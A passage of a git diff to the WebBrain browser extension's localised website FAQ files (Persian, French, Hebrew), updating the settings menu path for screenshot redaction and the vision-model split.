+ "faq.screenshot_redaction.a_html": "<p>نه - نوردهی را کاهش می دهد، تضمینی نیست. وقتی فعال شد (<strong>تنظیمات → مدل‌های کمکی → چشم انداز → ویرایش عکس صفحه</strong>، به طور پیش فرض خاموش است)، WebBrain فیلدها و متنی را که مانند آدرس ایمیل یا شماره تلفن در هر اسکرین شات به نظر می رسد، پیکسل می کند. <em>قبل از</em> به یک مدل بینایی فرستاده می شود. تشخیص به طور کامل بر روی دستگاه شما با استفاده از اکتشافی DOM اجرا می شود. هیچ چیز اضافی منتقل نمی شود</p><p><strong>این بهترین تلاش و شکست باز است.</strong> اگر آشکارساز نمی تواند در یک صفحه اجرا شود - به عنوان مثال بلافاصله پس از پیمایش، در بینندگان PDF یا در صفحات مرورگر محدود شده - تصویر صفحه همچنان ارسال می شود. <em>ویرایش نشده</em> به جای اینکه وظیفه خود را لغو کنید محتوایی که اکتشافی DOM نمی تواند ببیند (متن ترسیم شده روی بوم، PII درون تصاویر، ویجت های غیر معمول) نیز ممکن است از بین برود. و این تنظیمات فقط تصاویر صفحه را پوشش می دهد: صفحه <em>متن</em> ارسال شده به مدل توسط آن ویرایش نشده است.</p><p><strong>برای حفظ حریم خصوصی دید کامل، از یک مدل محلی استفاده کنید.</strong> با ارائه‌دهنده آفلاینی مانند llama.cpp یا Ollama، عکس‌های صفحه و متن صفحه هرگز از دستگاه شما خارج نمی‌شوند، بنابراین در وهله اول چیزی برای ویرایش وجود ندارد - این تنها پیکربندی است که در آن حریم خصوصی تضمین می‌شود. به \"آیا می توانم از WebBrain کاملا آفلاین استفاده کنم؟\" بالا</p><p><strong>آیا ماشینی ندارید که بتواند یک مدل محلی با قابلیت بینایی را اجرا کند؟</strong> یک میانه خوب، یک مدل محلی کوچک برای برنامه‌ریزی و تماس‌های ابزاری (سریع و سبک به اندازه کافی برای یک CPU/GPU متوسط) است که با یک ارائه‌دهنده ابری برای تماس‌های فرعی ویژن جفت می‌شود، و ویرایش عکس صفحه‌نمایش روشن است. شما همچنان مکالمه و متن صفحه خود را در دستگاه نگه می دارید، و هر اسکرین شات که برای Cloud Vision باقی می ماند، فیلدهای فرم و ایمیل ها/تلفن های شناسایی شده را در ابتدا تار می کند - بدون نیاز به سخت افزار برای یک مدل دید محلی کامل، نوردهی ابر را کاهش می دهد. تقسیم بینایی را در زیر پیکربندی کنید <strong>تنظیمات → مدل‌های کمکی → چشم انداز</strong> (به \"چگونه WebBrain صورتحساب های Cloud LLM را تحت کنترل نگه می دارد؟\" در بالا مراجعه کنید).</p>",
"faq.cookies_paywalls.q": "WebBrain با بنرهای کوکی و دیوارهای پرداخت چه می کند؟",
"faq.cookies_paywalls.a_html": "<p><strong>بنرهای کوکی:</strong> WebBrain آگهی‌های رضایت را از چارچوب‌های رایج (OneTrust، Cookiebot، Didomi، Quantcast، Google Funding Choices، TrustArc) تشخیص می‌دهد و قبل از استدلال درباره صفحه، آن‌ها را رد می‌کند. اولویت \"رد همه\" / \"رد غیر ضروری\" / \"فقط ضروری\" زمانی که به وضوح قابل مشاهده است. به جای ناپدید شدن در پیچ و خم «مدیریت تنظیمات برگزیده» به «پذیرفتن همه» برمی گردد.</p><p><strong>Paywalls:</strong> WebBrain paywall را صادقانه گزارش می‌کند و به شما می‌گوید که واقعاً چه چیزی را می‌تواند ببیند (تیتر، دک، پاراگراف‌های اول). این کار را انجام می دهد <strong>نه</strong> تلاش برای دور زدن دیوارهای پرداخت - بدون archive.today، 12ft.io، پاک کردن کوکی، غیرفعال کردن JS یا ترفندهای حالت خواننده. اگر مقاله کامل را می‌خواهید، با اشتراک وارد شوید یا از WebBrain بخواهید تا به دنبال پوشش رایگان همان داستان باشد.</p>",
"faq.multilingual.q": "آیا WebBrain از حالت اجرای خشک پشتیبانی می کند؟",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "چگونه WebBrain صورتحساب های ابر LLM را تحت کنترل نگه می دارد؟",
- "faq.token_conscious.a_html": "<p>سه لایه مستقل:</p><p><strong>اسکرین شات های آگاه به نشانه.</strong> قبل از اینکه هر تصویری از دستگاه شما خارج شود، WebBrain اندازه آن را تغییر می‌دهد (ضلع کوتاه‌تر، حفظ نسبت تصویر) و به طور مکرر JPEG آن را فشرده می‌کند تا زمانی که با بودجه نماد تصویر در هر نوبت مطابقت داشته باشد. یک اسکرین شات 2000×1200 که برای شما حدود 1500 توکن ورودی در GPT-4o هزینه دارد، به 300 تا 500 توکن فشرده می‌شود، بدون اینکه عملاً برای کارهای خواندن صفحه از دست بدهید. اجرا شده در <code>_fitImageDimensions</code> با آزمون های واحد برای ریاضی بودجه.</p><p><strong>پیرایش بافت هوشمند</strong> تاریخچه مکالمه، خروجی‌های ابزار، و تخلیه‌های DOM درون خطی در هر نوبت محدود می‌شوند و زمانی که پنجره زمینه مدل فعال به پر شدن نزدیک می‌شود، در اولین قدم کوتاه می‌شوند. شما یک بالون بدون صدا از 10 هزار توکن تا 100 هزار را مشاهده نخواهید کرد زیرا <code>read_page</code> یک مقاله طولانی را برگرداند.</p><p><strong>مدل دید اختصاصی.</strong> یک مدل نوشتاری ارزان (مثلاً GPT-4o-mini) را برای برنامه‌ریزی و تماس‌های ابزاری با یک مدل جداگانه با قابلیت دید (مانند GPT-4o) فقط برای عکس‌های صفحه‌نمایش جفت کنید، بنابراین قیمت‌های مدل چندوجهی را در هر نوبت پرداخت نکنید. در زیر پیکربندی کنید <strong>تنظیمات → چشم انداز</strong>.</p><p>نتیجه خالص: جلسات طولانی با ارائه دهندگان ابر قابل پیش بینی باقی می مانند. برای کنترل کامل، از llama.cpp به صورت محلی استفاده کنید - هزینه هر توکن صفر است.</p>",
+ "faq.token_conscious.a_html": "<p>سه لایه مستقل:</p><p><strong>اسکرین شات های آگاه به نشانه.</strong> قبل از اینکه هر تصویری از دستگاه شما خارج شود، WebBrain اندازه آن را تغییر می‌دهد (ضلع کوتاه‌تر، حفظ نسبت تصویر) و به طور مکرر JPEG آن را فشرده می‌کند تا زمانی که با بودجه نماد تصویر در هر نوبت مطابقت داشته باشد. یک اسکرین شات 2000×1200 که برای شما حدود 1500 توکن ورودی در GPT-4o هزینه دارد، به 300 تا 500 توکن فشرده می‌شود، بدون اینکه عملاً برای کارهای خواندن صفحه از دست بدهید. اجرا شده در <code>_fitImageDimensions</code> با آزمون های واحد برای ریاضی بودجه.</p><p><strong>پیرایش بافت هوشمند</strong> تاریخچه مکالمه، خروجی‌های ابزار، و تخلیه‌های DOM درون خطی در هر نوبت محدود می‌شوند و زمانی که پنجره زمینه مدل فعال به پر شدن نزدیک می‌شود، در اولین قدم کوتاه می‌شوند. شما یک بالون بدون صدا از 10 هزار توکن تا 100 هزار را مشاهده نخواهید کرد زیرا <code>read_page</code> یک مقاله طولانی را برگرداند.</p><p><strong>مدل دید اختصاصی.</strong> یک مدل نوشتاری ارزان (مثلاً GPT-4o-mini) را برای برنامه‌ریزی و تماس‌های ابزاری با یک مدل جداگانه با قابلیت دید (مانند GPT-4o) فقط برای عکس‌های صفحه‌نمایش جفت کنید، بنابراین قیمت‌های مدل چندوجهی را در هر نوبت پرداخت نکنید. در زیر پیکربندی کنید <strong>تنظیمات → مدل‌های کمکی → چشم انداز</strong>.</p><p>نتیجه خالص: جلسات طولانی با ارائه دهندگان ابر قابل پیش بینی باقی می مانند. برای کنترل کامل، از llama.cpp به صورت محلی استفاده کنید - هزینه هر توکن صفر است.</p>",
"faq.contribute.q": "آیا می توانم به WebBrain کمک کنم؟",
"faq.contribute.a_html": "قطعا! WebBrain دارای مجوز GPL-3.0-or-later است و از مشارکت ها استقبال می کند. بررسی کنید <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">مخزن GitHub</a> برای مسائل، درخواست‌های ویژگی، و دستورالعمل‌های مشارکت.",
"oss.title": "100% متن باز",
diff --git a/web/build/locales/fr.json b/web/build/locales/fr.json
index 5ea4e57cf..64cac29df 100644
--- a/web/build/locales/fr.json
+++ b/web/build/locales/fr.json
@@ -304,7 +304,7 @@
"faq.profile.q": "Comment fonctionne l'auto-remplissage de profil, et est-ce sûr ?",
"faq.profile.a_html": "<p>L'auto-remplissage de profil est une fonctionnalité optionnelle dans <strong>Paramètres → Profil</strong>. Vous saisissez une courte bio — nom, e-mail pro, entreprise et un mot de passe <em>jetable</em> pour les inscriptions à faible enjeu — et vous l'activez. Une fois actif, WebBrain ajoute ce texte au prompt système de l'agent, afin qu'il puisse remplir les formulaires d'inscription sans vous demander à chaque fois.</p><p>Le texte est stocké <strong>en clair</strong> dans le stockage local du navigateur. Il n'est <strong>pas</strong> transmis au projet WebBrain, mais il <strong>est</strong> envoyé au fournisseur de LLM que vous avez configuré à chaque tour, dans le prompt système. Désactivé par défaut.</p><p><strong>N'y mettez pas les mots de passe de comptes importants</strong> (Google, Apple, iCloud, banque, SSO pro, e-mail principal). Ces comptes devraient utiliser la 2FA et ne devraient pas être confiés à un agent. L'usage prévu est un mot de passe jetable réutilisé pour des newsletters et des essais gratuits.</p>",
"faq.screenshot_redaction.q": "Le réglage Floutage des captures d'écran garantit-il que mes données privées n'atteignent jamais un modèle de vision cloud ?",
- "faq.screenshot_redaction.a_html": "<p>Non — cela réduit l'exposition, ce n'est pas une garantie. Une fois activé (<strong>Paramètres → Multimodal → Floutage des captures d'écran</strong>, désactivé par défaut), WebBrain pixellise les champs de formulaire et le texte qui ressemble à une adresse e-mail ou un numéro de téléphone sur chaque capture d'écran <em>avant</em> qu'elle soit envoyée à un modèle de vision. La détection s'exécute entièrement sur votre appareil via des heuristiques DOM ; rien de plus n'est transmis.</p><p><strong>C'est du meilleur effort, en mode fail-open.</strong> Si le détecteur ne peut pas s'exécuter sur une page — par exemple juste après une navigation, dans les visionneuses PDF, ou sur des pages restreintes du navigateur — la capture est quand même envoyée <em>non floutée</em> plutôt que d'annuler votre tâche. Un contenu que les heuristiques DOM ne peuvent pas voir (texte dessiné sur un canvas, données personnelles dans des images, widgets inhabituels) peut aussi passer au travers. Et le réglage ne couvre que les captures d'écran : le <em>texte</em> de la page envoyé au modèle n'est pas flouté par ce réglage.</p><p><strong>Pour une confidentialité totale en vision, utilisez un modèle local.</strong> Avec un fournisseur hors ligne comme llama.cpp ou Ollama, les captures d'écran et le texte de la page ne quittent jamais votre machine, donc il n'y a rien à flouter au départ — c'est la seule configuration où la confidentialité est garantie. Voir « Puis-je utiliser WebBrain totalement hors ligne ? » ci-dessus.</p><p><strong>Pas de machine capable de faire tourner un modèle local avec vision ?</strong> Un bon compromis consiste à utiliser un petit modèle local pour la planification et les appels d'outils (assez léger pour un CPU/GPU modeste), associé à un fournisseur cloud pour les sous-appels de vision, avec le Floutage des captures d'écran activé. Votre conversation et le texte de la page restent sur l'appareil, et chaque capture qui part vers la vision cloud a déjà ses champs de formulaire et e-mails/téléphones détectés floutés — moins d'exposition cloud, sans besoin de matériel pour un modèle de vision local complet. Configurez cette répartition sous <strong>Paramètres → Vision</strong> (voir « Comment WebBrain garde-t-il sous contrôle les factures des LLM cloud ? » ci-dessus).</p>",
+ "faq.screenshot_redaction.a_html": "<p>Non — cela réduit l'exposition, ce n'est pas une garantie. Une fois activé (<strong>Paramètres → Modèles auxiliaires → Vision → Floutage des captures d'écran</strong>, désactivé par défaut), WebBrain pixellise les champs de formulaire et le texte qui ressemble à une adresse e-mail ou un numéro de téléphone sur chaque capture d'écran <em>avant</em> qu'elle soit envoyée à un modèle de vision. La détection s'exécute entièrement sur votre appareil via des heuristiques DOM ; rien de plus n'est transmis.</p><p><strong>C'est du meilleur effort, en mode fail-open.</strong> Si le détecteur ne peut pas s'exécuter sur une page — par exemple juste après une navigation, dans les visionneuses PDF, ou sur des pages restreintes du navigateur — la capture est quand même envoyée <em>non floutée</em> plutôt que d'annuler votre tâche. Un contenu que les heuristiques DOM ne peuvent pas voir (texte dessiné sur un canvas, données personnelles dans des images, widgets inhabituels) peut aussi passer au travers. Et le réglage ne couvre que les captures d'écran : le <em>texte</em> de la page envoyé au modèle n'est pas flouté par ce réglage.</p><p><strong>Pour une confidentialité totale en vision, utilisez un modèle local.</strong> Avec un fournisseur hors ligne comme llama.cpp ou Ollama, les captures d'écran et le texte de la page ne quittent jamais votre machine, donc il n'y a rien à flouter au départ — c'est la seule configuration où la confidentialité est garantie. Voir « Puis-je utiliser WebBrain totalement hors ligne ? » ci-dessus.</p><p><strong>Pas de machine capable de faire tourner un modèle local avec vision ?</strong> Un bon compromis consiste à utiliser un petit modèle local pour la planification et les appels d'outils (assez léger pour un CPU/GPU modeste), associé à un fournisseur cloud pour les sous-appels de vision, avec le Floutage des captures d'écran activé. Votre conversation et le texte de la page restent sur l'appareil, et chaque capture qui part vers la vision cloud a déjà ses champs de formulaire et e-mails/téléphones détectés floutés — moins d'exposition cloud, sans besoin de matériel pour un modèle de vision local complet. Configurez cette répartition sous <strong>Paramètres → Modèles auxiliaires → Vision</strong> (voir « Comment WebBrain garde-t-il sous contrôle les factures des LLM cloud ? » ci-dessus).</p>",
"faq.cookies_paywalls.q": "Que fait WebBrain avec les bannières de cookies et les paywalls ?",
"faq.cookies_paywalls.a_html": "<p><strong>Bannières de cookies :</strong> WebBrain reconnaît les bannières de consentement des frameworks courants (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) et les écarte avant de raisonner sur la page. Priorité à « Tout refuser » / « Refuser non essentiels » / « Uniquement nécessaires » quand c'est clairement visible ; par défaut, il choisit « Tout accepter » plutôt que de se perdre dans le labyrinthe « Gérer les préférences ».</p><p><strong>Paywalls :</strong> WebBrain signale le paywall honnêtement et vous dit ce qu'il a réellement pu voir (titre, chapô, premiers paragraphes). Il <strong>n'essaie pas</strong> de contourner les paywalls — pas d'archive.today, pas de 12ft.io, pas d'effacement de cookies, pas de désactivation du JS, pas de ruses de mode lecture. Pour l'article complet, connectez-vous avec un abonnement ou demandez à WebBrain de chercher une couverture gratuite de la même histoire.</p>",
"faq.multilingual.q": "WebBrain prend-il en charge un mode dry-run ?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "Comment WebBrain garde-t-il sous contrôle les factures des LLM cloud ?",
- "faq.token_conscious.a_html": "<p>Trois couches indépendantes :</p><p><strong>Captures économes en tokens.</strong> Avant qu'une image ne quitte votre machine, WebBrain la redimensionne (côté court plafonné, ratio conservé) et la compresse itérativement en JPEG jusqu'à entrer dans le budget de tokens d'image par tour. Une capture 2000×1200 qui vous coûterait environ 1 500 tokens d'entrée sur GPT-4o est ramenée à environ 300–500 tokens sans perte pratique pour la lecture de pages. Implémenté dans <code>_fitImageDimensions</code> avec des tests unitaires sur le calcul du budget.</p><p><strong>Rognage intelligent du contexte.</strong> Historique, sortie d'outils et dumps DOM inline sont plafonnés par tour et rognés du plus ancien au plus récent quand le contexte du modèle actif approche de la saturation. Vous ne verrez pas une exécution passer silencieusement de 10 k à 100 k tokens parce qu'un <code>read_page</code> a renvoyé un article interminable.</p><p><strong>Modèle de vision dédié.</strong> Combinez un modèle texte bon marché (par ex. GPT-4o-mini) pour la planification et les appels d'outils avec un modèle de vision (par ex. GPT-4o) réservé aux captures, pour ne pas payer le tarif multimodal à chaque tour. À configurer dans <strong>Paramètres → Vision</strong>.</p><p>Résultat : les longues sessions avec des fournisseurs cloud restent prévisibles. Pour un contrôle total, utilisez llama.cpp en local — coût par token nul.</p>",
+ "faq.token_conscious.a_html": "<p>Trois couches indépendantes :</p><p><strong>Captures économes en tokens.</strong> Avant qu'une image ne quitte votre machine, WebBrain la redimensionne (côté court plafonné, ratio conservé) et la compresse itérativement en JPEG jusqu'à entrer dans le budget de tokens d'image par tour. Une capture 2000×1200 qui vous coûterait environ 1 500 tokens d'entrée sur GPT-4o est ramenée à environ 300–500 tokens sans perte pratique pour la lecture de pages. Implémenté dans <code>_fitImageDimensions</code> avec des tests unitaires sur le calcul du budget.</p><p><strong>Rognage intelligent du contexte.</strong> Historique, sortie d'outils et dumps DOM inline sont plafonnés par tour et rognés du plus ancien au plus récent quand le contexte du modèle actif approche de la saturation. Vous ne verrez pas une exécution passer silencieusement de 10 k à 100 k tokens parce qu'un <code>read_page</code> a renvoyé un article interminable.</p><p><strong>Modèle de vision dédié.</strong> Combinez un modèle texte bon marché (par ex. GPT-4o-mini) pour la planification et les appels d'outils avec un modèle de vision (par ex. GPT-4o) réservé aux captures, pour ne pas payer le tarif multimodal à chaque tour. À configurer dans <strong>Paramètres → Modèles auxiliaires → Vision</strong>.</p><p>Résultat : les longues sessions avec des fournisseurs cloud restent prévisibles. Pour un contrôle total, utilisez llama.cpp en local — coût par token nul.</p>",
"faq.contribute.q": "Puis-je contribuer à WebBrain ?",
"faq.contribute.a_html": "Absolument ! WebBrain est sous licence GPL-3.0-or-later et accueille les contributions. Consultez le <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">dépôt GitHub</a> pour les issues, demandes de fonctionnalités et consignes de contribution.",
"oss.title": "100 % open source",
diff --git a/web/build/locales/he.json b/web/build/locales/he.json
index cdb7c071f..42fed65ed 100644
--- a/web/build/locales/he.json
+++ b/web/build/locales/he.json
@@ -304,7 +304,7 @@
"faq.profile.q": "כיצד מילוי הפרופיל האוטומטי עובד, והאם זה בטוח?",
"faq.profile.a_html": "<p>מילוי פרופיל אוטומטי הוא תכונה אופציונלית ב<strong>הגדרות ← פרופיל</strong>. אתה מזין ביוגרפיה קצרה — שם, דוא\"ל עסקי, חברה וסיסמה <em>לשימוש חד-פעמי</em> להרשמות בסיכון נמוך — ומפעיל אותה. כשפעיל, WebBrain מצרף את הטקסט הזה לפרומפט המערכת של הסוכן כדי שהוא ימלא טפסי הרשמה מבלי לשאול בכל פעם.</p><p>הטקסט מאוחסן <strong>בטקסט פשוט</strong> באחסון המקומי של הדפדפן שלך. הוא <strong>אינו</strong> מועבר לפרויקט WebBrain, אבל הוא <strong>מועבר</strong> לכל ספק LLM שהגדרת בכל תור, כחלק מפרומפט המערכת. מושבת כברירת מחדל.</p><p><strong>אל תשים סיסמאות לחשבונות חשובים</strong> כאן (Google, Apple, iCloud, בנקים, SSO עסקי, דוא\"ל ראשי). חשבונות אלה צריכים להשתמש ב-2FA ולא צריך להעביר אותם לסוכן ממילא. סיסמה לשימוש חד-פעמי שאתה מחדש לרשמות ניוזלטר וניסויים חינם היא מקרה השימוש המיועד.</p>",
"faq.screenshot_redaction.q": "האם ההגדרה טשטוש צילומי מסך מבטיחה שהנתונים הפרטיים שלי לעולם לא יגיעו למודל ראייה בענן?",
- "faq.screenshot_redaction.a_html": "<p>לא — היא מפחיתה חשיפה, אך אינה ערבות. כשההגדרה מופעלת (<strong>הגדרות ← מולטי-מודאלי ← טשטוש צילומי מסך</strong>, כבויה כברירת מחדל), WebBrain מפקסל שדות טופס וטקסט שנראה ככתובת דוא\"ל או מספר טלפון בכל צילום מסך <em>לפני</em> שהוא נשלח למודל ראייה. הזיהוי מתבצע כולו במכשיר שלך באמצעות היוריסטיקות DOM; שום דבר נוסף לא מועבר.</p><p><strong>זהו טשטוש במאמץ סביר (best-effort) מסוג fail-open.</strong> אם המזהה אינו יכול לפעול בדף מסוים — למשל מיד אחרי ניווט, בצפייה בקבצי PDF, או בדפי דפדפן מוגבלים — צילום המסך עדיין יישלח <em>ללא טשטוש</em> במקום לבטל את המשימה שלך. תוכן שהיוריסטיקות של DOM אינן יכולות לראות (טקסט המצויר על canvas, מידע אישי בתוך תמונות, רכיבי ממשק חריגים) עלול גם הוא לחמוק. וההגדרה מכסה רק צילומי מסך: <em>טקסט</em> הדף הנשלח למודל אינו מטושטש על ידה.</p><p><strong>לפרטיות מלאה בראייה, השתמש במודל מקומי.</strong> עם ספק לא מקוון כמו llama.cpp או Ollama, צילומי המסך וטקסט הדף לעולם אינם עוזבים את המכשיר שלך, כך שאין כלל מה לטשטש מלכתחילה — זו התצורה היחידה שבה הפרטיות מובטחת. ראה \"האם אני יכול להשתמש ב-WebBrain לחלוטין לא מקוון?\" למעלה.</p><p><strong>אין לך מכשיר שמסוגל להריץ מודל מקומי עם תמיכה בראייה?</strong> פשרה טובה היא שימוש במודל מקומי קטן לתכנון ולקריאה לכלים (קליל מספיק למעבד/כרטיס מסך צנוע), בשילוב עם ספק ענן עבור קריאות המשנה של הראייה, כאשר טשטוש צילומי מסך מופעל. השיחה שלך וטקסט הדף נשארים במכשיר, וכל צילום מסך שיוצא לראייה בענן כבר עבר טשטוש של שדות טופס ודוא\"ל/טלפון שזוהו — פחות חשיפה בענן מבלי להזדקק לחומרה עבור מודל ראייה מקומי מלא. הגדר את החלוקה הזו תחת <strong>הגדרות ← ראייה</strong> (ראה \"כיצד WebBrain שומר על חשבונות LLM בענן בשליטה?\" למעלה).</p>",
+ "faq.screenshot_redaction.a_html": "<p>לא — היא מפחיתה חשיפה, אך אינה ערבות. כשההגדרה מופעלת (<strong>הגדרות ← מודלים מסייעים ← ראייה ← טשטוש צילומי מסך</strong>, כבויה כברירת מחדל), WebBrain מפקסל שדות טופס וטקסט שנראה ככתובת דוא\"ל או מספר טלפון בכל צילום מסך <em>לפני</em> שהוא נשלח למודל ראייה. הזיהוי מתבצע כולו במכשיר שלך באמצעות היוריסטיקות DOM; שום דבר נוסף לא מועבר.</p><p><strong>זהו טשטוש במאמץ סביר (best-effort) מסוג fail-open.</strong> אם המזהה אינו יכול לפעול בדף מסוים — למשל מיד אחרי ניווט, בצפייה בקבצי PDF, או בדפי דפדפן מוגבלים — צילום המסך עדיין יישלח <em>ללא טשטוש</em> במקום לבטל את המשימה שלך. תוכן שהיוריסטיקות של DOM אינן יכולות לראות (טקסט המצויר על canvas, מידע אישי בתוך תמונות, רכיבי ממשק חריגים) עלול גם הוא לחמוק. וההגדרה מכסה רק צילומי מסך: <em>טקסט</em> הדף הנשלח למודל אינו מטושטש על ידה.</p><p><strong>לפרטיות מלאה בראייה, השתמש במודל מקומי.</strong> עם ספק לא מקוון כמו llama.cpp או Ollama, צילומי המסך וטקסט הדף לעולם אינם עוזבים את המכשיר שלך, כך שאין כלל מה לטשטש מלכתחילה — זו התצורה היחידה שבה הפרטיות מובטחת. ראה \"האם אני יכול להשתמש ב-WebBrain לחלוטין לא מקוון?\" למעלה.</p><p><strong>אין לך מכשיר שמסוגל להריץ מודל מקומי עם תמיכה בראייה?</strong> פשרה טובה היא שימוש במודל מקומי קטן לתכנון ולקריאה לכלים (קליל מספיק למעבד/כרטיס מסך צנוע), בשילוב עם ספק ענן עבור קריאות המשנה של הראייה, כאשר טשטוש צילומי מסך מופעל. השיחה שלך וטקסט הדף נשארים במכשיר, וכל צילום מסך שיוצא לראייה בענן כבר עבר טשטוש של שדות טופס ודוא\"ל/טלפון שזוהו — פחות חשיפה בענן מבלי להזדקק לחומרה עבור מודל ראייה מקומי מלא. הגדר את החלוקה הזו תחת <strong>הגדרות ← מודלים מסייעים ← ראייה</strong> (ראה \"כיצד WebBrain שומר על חשבונות LLM בענן בשליטה?\" למעלה).</p>",
"faq.cookies_paywalls.q": "מה WebBrain עושה עם כרזות עוגיות וקירות תשלום?",
"faq.cookies_paywalls.a_html": "<strong>כרזות עוגיות:</strong> WebBrain מזהה כרזות הסכמה ממסגרות נפוצות (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) וסוגר אותן לפני הסקת מסקנות על הדף. העדפה היא \"דחה הכל\" / \"דחה לא הכרחי\" / \"רק הכרחי\" כשהם גלויים בבירור; הוא חוזר ל\"אשר הכל\" במקום ללכת לאיבוד במבוך \"ניהול העדפות\".</p><p><strong>קירות תשלום:</strong> WebBrain מדווח על קיר התשלום בכנות ומספר לך מה הוא באמת ראה (כותרת, כותרת משנה, פסקאות ראשונות). הוא <strong>אינו</strong> מנסה לעקוף קירות תשלום — לא archive.today, לא 12ft.io, לא מחיקת עוגיות, לא השבתת JS, לא טריקים של מצב קריאה. אם אתה רוצה את המאמר המלא, היכנס עם מינוי או בקש מ-WebBrain לחפש סיקור חינם של אותה ה故事.</p>",
"faq.multilingual.q": "האם WebBrain תומך במצב dry-run?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "כיצד WebBrain שומר על חשבונות LLM בענן בשליטה?",
- "faq.token_conscious.a_html": "<p>שלוש שכבות עצמאיות:</p><p><strong>צילומי מסך חוסכי אסימונים.</strong> לפני שכל תמונה עוזבת את המכשיר שלך, WebBrain משנה את גודלה (הצד הקצר מוגבל, תוך שמירה על יחס רוחב-גובה) ודוחס אותה חוזרת ב-JPEG עד שהיא מתאימה למכסת אסימוני תמונה לכל תור. צילום מסך של 2000×1200 שהיה עולה לך כ-1500 אסימוני כניסה ב-GPT-4o דוחס לכ-300-500 אסימונים ללא אובדן מעשי למשימות קריאת דפים. מומש ב-<code>_fitImageDimensions</code> עם בדיקות יחידה לחישובי המכסה.</p><p><strong>גיזום קשר חכם.</strong> היסטוריית שיחה, פלטי כלים ופריקת DOM מוטמעות מוגבלות לכל תור וɡізוזות מהישן לחדש כשחלון הקשר של המודל הפעיל מתקרב למלואו. לא תראה הפעלה מתנפחת בשקט מ-10k אסימונים ל-100k רק בגלל ש-<code>read_page</code> החזיר מאמר באורך רומן.</p><p><strong>מודל ראייה ייעודי.</strong>זוג מודל טקסט זול (כמו GPT-4o-mini) לתכנון וקריאה לכלים עם מודל ראייה נפרד (כמו GPT-4o) רק לצילומי מסך, כדי לא לשלם מחירים של מודל רב-תכליתי בכל תור. להגדרות ב<strong>הגדרות ← ראייה</strong>.</p><p>תוצאה סופית: ישיבות ארוכות עם ספקי ענן נשארות צפויות. לשליטה מלאה, השתמש ב-llama.cpp מקומי — אפס עלות לאסימון.</p>",
+ "faq.token_conscious.a_html": "<p>שלוש שכבות עצמאיות:</p><p><strong>צילומי מסך חוסכי אסימונים.</strong> לפני שכל תמונה עוזבת את המכשיר שלך, WebBrain משנה את גודלה (הצד הקצר מוגבל, תוך שמירה על יחס רוחב-גובה) ודוחס אותה חוזרת ב-JPEG עד שהיא מתאימה למכסת אסימוני תמונה לכל תור. צילום מסך של 2000×1200 שהיה עולה לך כ-1500 אסימוני כניסה ב-GPT-4o דוחס לכ-300-500 אסימונים ללא אובדן מעשי למשימות קריאת דפים. מומש ב-<code>_fitImageDimensions</code> עם בדיקות יחידה לחישובי המכסה.</p><p><strong>גיזום קשר חכם.</strong> היסטוריית שיחה, פלטי כלים ופריקת DOM מוטמעות מוגבלות לכל תור וɡізוזות מהישן לחדש כשחלון הקשר של המודל הפעיל מתקרב למלואו. לא תראה הפעלה מתנפחת בשקט מ-10k אסימונים ל-100k רק בגלל ש-<code>read_page</code> החזיר מאמר באורך רומן.</p><p><strong>מודל ראייה ייעודי.</strong>זוג מודל טקסט זול (כמו GPT-4o-mini) לתכנון וקריאה לכלים עם מודל ראייה נפרד (כמו GPT-4o) רק לצילומי מסך, כדי לא לשלם מחירים של מודל רב-תכליתי בכל תור. להגדרות ב<strong>הגדרות ← מודלים מסייעים ← ראייה</strong>.</p><p>תוצאה סופית: ישיבות ארוכות עם ספקי ענן נשארות צפויות. לשליטה מלאה, השתמש ב-llama.cpp מקומי — אפס עלות לאסימון.</p>",
"faq.contribute.q": "האם אני יכול לתרום ל-WebBrain?",
"faq.contribute.a_html": "בהחלט! WebBrain ברישיון GPL-3.0-or-later ומקבל בתרומות. בדוק את <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">המאגר ב-GitHub</a> לבעיות, בקשות תכונות והנחיות תרומה.",
"oss.title": "100% קוד פתוח",
diff --git a/web/build/locales/hi.json b/web/build/locales/hi.json
index c49ff7b97..bf9ee3ac7 100644
--- a/web/build/locales/hi.json
+++ b/web/build/locales/hi.json
@@ -304,7 +304,7 @@
"faq.profile.q": "प्रोफ़ाइल स्वतः-भरण कैसे काम करता है, और क्या यह सुरक्षित है?",
